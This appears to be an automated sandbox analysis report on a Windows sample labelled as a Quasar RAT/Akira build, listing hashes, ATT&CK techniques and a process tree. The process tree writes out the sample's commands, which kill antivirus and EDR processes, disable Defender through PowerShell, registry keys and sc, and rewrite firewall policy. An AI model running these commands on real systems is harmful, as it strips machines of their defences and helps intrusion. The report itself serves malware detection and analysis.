b1338cbded44a1c2c9ee00257ce515da4c2bb93731115e6417ef56057eabf331

Analysis

max time kernel
1s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260629-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260629-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
01/07/2026, 04:50

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-06-30_5acf38e8f05b460eec13dfecf786bde6_akira_quasar-rat.exe
Size 1.9MB
Sample260701-fgnddaew7j
SHA256 b1338cbded44a1c2c9ee00257ce515da4c2bb93731115e6417ef56057eabf331
MD5 5acf38e8f05b460eec13dfecf786bde6
SHA1 cb948166d1c9bb7850b6b9389a52b37a0ca49328
SHA512 509fa9930519bb8f9fce0e773a3eda95683730f04650ad633a0fc07de675070ed653ee24b11bf45520b31154ac8429ca74c3e8dc3ff40fe86fa38079dafee37d
SSDEEP 49152:koTF5qGHJlGpzejlLl3kdEkXN7KHrc1CERDTulpwpOlP:pplGpzQAEkXNuHjW43
TLSH
T10F950207F6A6A0BCD11AC0759346A573BE37B88A02327DBF13E48A343FA5E515F18B15
MD5 SHA1 SHA512 SSDEEP TLSH

Score

9^/10

defense_evasion execution

Malware Config

Signatures

Detects executables embedding registry key / value combination indicative of disabling Windows Defen 1 IoCs

resource	yara_rule
behavioral2/memory/4992-6-0x00007FF7EFF10000-0x00007FF7F00F2000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_RegKeyComb_DisableWinDefender

Disables one or more Microsoft Defender components 1 TTPs 1 IoCs

Uses the Powershell Set-MpPreference cmdlet to disable one or more Microsoft Defender components.

defense_evasion

Disable or Modify Tools

T1562.001

pid	Process
2812	powershell.exe

Modifies Windows Firewall 2 TTPs 2 IoCs

defense_evasion

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

pid	Process
4436	netsh.exe
1592	netsh.exe

Disables service(s) 3 TTPs
defense_evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002
Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2812	powershell.exe

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010

Launches sc.exe 10 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
4012	sc.exe
2660	sc.exe
4008	sc.exe
3432	sc.exe
5532	sc.exe
2536	sc.exe
1036	sc.exe
3188	sc.exe
3976	sc.exe
1736	sc.exe

Kills process with taskkill 7 IoCs

defense_evasion

pid	Process
2860	taskkill.exe
4728	taskkill.exe
5432	taskkill.exe
5748	taskkill.exe
108	taskkill.exe
4504	taskkill.exe
3836	taskkill.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
1296	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2860	taskkill.exe
Token: SeDebugPrivilege	1296	powershell.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 4992 wrote to memory of 2860	4992	2026-06-30_5acf38e8f05b460eec13dfecf786bde6_akira_quasar-rat.exe	88
PID 4992 wrote to memory of 1296	4992	2026-06-30_5acf38e8f05b460eec13dfecf786bde6_akira_quasar-rat.exe	91

C:\Users\Admin\AppData\Local\Temp\2026-06-30_5acf38e8f05b460eec13dfecf786bde6_akira_quasar-rat.exe
"C:\Users\Admin\AppData\Local\Temp\2026-06-30_5acf38e8f05b460eec13dfecf786bde6_akira_quasar-rat.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:4992
- C:\Windows\system32\taskkill.exe
  "taskkill" /f /im javaw.exe
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:2860
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -EncodedCommand UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAC0AVgBlAHIAYgAgAFIAdQBuAEEAcwAgAC0ARgBpAGwAZQBQAGEAdABoACAAJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcADIAMAAyADYALQAwADYALQAzADAAXwA1AGEAYwBmADMAOABlADgAZgAwADUAYgA0ADYAMABlAGUAYwAxADMAZABmAGUAYwBmADcAOAA2AGIAZABlADYAXwBhAGsAaQByAGEAXwBxAHUAYQBzAGEAcgAtAHIAYQB0AC4AZQB4AGUAJwAgAC0AQQByAGcAdQBtAGUAbgB0AEwAaQBzAHQAIAAnAC0ALQBlAGwAZQB2AGEAdABlAGQAJwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4A
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1296
- - C:\Users\Admin\AppData\Local\Temp\2026-06-30_5acf38e8f05b460eec13dfecf786bde6_akira_quasar-rat.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-06-30_5acf38e8f05b460eec13dfecf786bde6_akira_quasar-rat.exe" --elevated
    3⤵
    PID:5512
  - - C:\Windows\system32\taskkill.exe
      "taskkill" /f /im javaw.exe
      4⤵
      Kills process with taskkill
      PID:4728
  - - C:\Windows\system32\taskkill.exe
      "taskkill" /f /im MsMpEng.exe
      4⤵
      Kills process with taskkill
      PID:5432
  - - C:\Windows\system32\taskkill.exe
      "taskkill" /f /im NisSrv.exe
      4⤵
      Kills process with taskkill
      PID:5748
  - - C:\Windows\system32\taskkill.exe
      "taskkill" /f /im cb.exe
      4⤵
      Kills process with taskkill
      PID:108
  - - C:\Windows\system32\taskkill.exe
      "taskkill" /f /im csfalconservice.exe
      4⤵
      Kills process with taskkill
      PID:4504
  - - C:\Windows\system32\taskkill.exe
      "taskkill" /f /im csagent.exe
      4⤵
      Kills process with taskkill
      PID:3836
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -DisableIOAVProtection $true -DisableScriptScanning $true -Force"
      4⤵
      Disables one or more Microsoft Defender components
      Command and Scripting Interpreter: PowerShell
      PID:2812
  - - C:\Windows\system32\reg.exe
      "reg" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
      4⤵
      PID:5816
  - - C:\Windows\system32\reg.exe
      "reg" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f
      4⤵
      PID:4232
  - - C:\Windows\system32\reg.exe
      "reg" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableBehaviorMonitoring /t REG_DWORD /d 1 /f
      4⤵
      PID:3172
  - - C:\Windows\system32\sc.exe
      "sc" stop WinDefend
      4⤵
      Launches sc.exe
      PID:1036
  - - C:\Windows\system32\sc.exe
      "sc" config WinDefend start= disabled
      4⤵
      Launches sc.exe
      PID:3188
  - - C:\Windows\system32\sc.exe
      "sc" stop Sense
      4⤵
      Launches sc.exe
      PID:2660
  - - C:\Windows\system32\sc.exe
      "sc" config Sense start= disabled
      4⤵
      Launches sc.exe
      PID:4012
  - - C:\Windows\system32\sc.exe
      "sc" stop WdNisSvc
      4⤵
      Launches sc.exe
      PID:2536
  - - C:\Windows\system32\sc.exe
      "sc" config WdNisSvc start= disabled
      4⤵
      Launches sc.exe
      PID:5532
  - - C:\Windows\system32\sc.exe
      "sc" stop WdBoot
      4⤵
      Launches sc.exe
      PID:3432
  - - C:\Windows\system32\sc.exe
      "sc" config WdBoot start= disabled
      4⤵
      Launches sc.exe
      PID:1736
  - - C:\Windows\system32\sc.exe
      "sc" stop WdFilter
      4⤵
      Launches sc.exe
      PID:3976
  - - C:\Windows\system32\sc.exe
      "sc" config WdFilter start= disabled
      4⤵
      Launches sc.exe
      PID:4008
  - - C:\Windows\system32\netsh.exe
      "netsh" advfirewall set allprofiles state on
      4⤵
      Modifies Windows Firewall
      PID:4436
  - - C:\Windows\system32\netsh.exe
      "netsh" advfirewall set allprofiles firewallpolicy blockinbound,blockoutbound
      4⤵
      Modifies Windows Firewall
      PID:1592

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

System Services

T1569

Service Execution

T1569.002

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Defense Evasion

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Disable or Modify Tools

T1562.001

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 b4d2605b3421911dd23b203ceda3c674f6e4c59b93f9c9d10ef548e2461a3151
MD5 e6a8d33648820752b04254098d837621
SHA1 a24310e320c2b6dddfb808db69565d1ca0276e6d
SHA512 01180b5c095bfa465388173f8e0b8d234982aa4e1589058889727894e15834c54b89c46f7ba8d26582841986db1e038fbe38f813ac75419995eb7e0891a6a432
TLSH
T114115733B3CC8624CC9A403650CEAC1036B587DB509EDF6BBB84D144B83F59ADE61260
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_bois2l4m.vbp.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_bois2l4m.vbp.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

logs.txt

Path C:\Users\Admin\Desktop\logs.txt
Size 283B
SHA256 bfd377ef3ae056cfa2845cc7bd26b1dadf89ae8f89293eb34a0cd00bc2c21090
MD5 bb4a91ec11ce163c3a2a70e7d3885478
SHA1 b3352d5c3d0e93eabc6f94384a21349e4178a4db
SHA512 63fbbd91da512bc320ba734218d3a8ba2d0bbbc749ab645eb1ad0d098d83942a996ef3ea2d439b7a51fa1580e3cd69ac759001efdb445bfa9c5e8e801145fcbb
TLSH
T177D012AD4A83100C4BD62696C1CB125FB47FF61B5D1005B647BC601F7060E3D1BE7B62
MD5 SHA1 SHA512 TLSH

Submit Download

memory/1296-14-0x00007FFFBB7D0000-0x00007FFFBC174000-memory.dmp

Download

memory/1296-22-0x00007FFFBB7D0000-0x00007FFFBC174000-memory.dmp

Download

memory/1296-13-0x00007FFFBB7D0000-0x00007FFFBC174000-memory.dmp

Download

memory/1296-7-0x00007FFFBB95F000-0x00007FFFBB960000-memory.dmp

Download

memory/1296-15-0x00007FFFBB7D0000-0x00007FFFBC174000-memory.dmp

Download

memory/1296-16-0x00007FFFBB7D0000-0x00007FFFBC174000-memory.dmp

Download

memory/1296-17-0x00007FFFBB7D0000-0x00007FFFBC174000-memory.dmp

Download

memory/1296-18-0x00007FFFBB7D0000-0x00007FFFBC174000-memory.dmp

Download

memory/1296-19-0x00007FFFBB7D0000-0x00007FFFBC174000-memory.dmp

Download

memory/1296-20-0x00007FFFBB7D0000-0x00007FFFBC174000-memory.dmp

Download

memory/1296-21-0x00007FFFBB7D0000-0x00007FFFBC174000-memory.dmp

Download

memory/1296-12-0x00007FFFBB7D0000-0x00007FFFBC174000-memory.dmp

Download

memory/1296-23-0x00007FFFBB7D0000-0x00007FFFBC174000-memory.dmp

Download

memory/1296-10-0x000001F570120000-0x000001F570142000-memory.dmp

Download

memory/1296-27-0x00007FFFBB7D0000-0x00007FFFBC174000-memory.dmp

Download

memory/1296-11-0x00007FFFBB7D0000-0x00007FFFBC174000-memory.dmp

Download

memory/2812-44-0x000001B3DD2C0000-0x000001B3DD372000-memory.dmp

Download

memory/2812-43-0x000001B3DD2A0000-0x000001B3DD2BE000-memory.dmp

Download

memory/2812-45-0x000001B3DD070000-0x000001B3DD07A000-memory.dmp

Download

memory/2812-47-0x000001B3DD5D0000-0x000001B3DD6C0000-memory.dmp

Download

memory/4992-6-0x00007FF7EFF10000-0x00007FF7F00F2000-memory.dmp

Download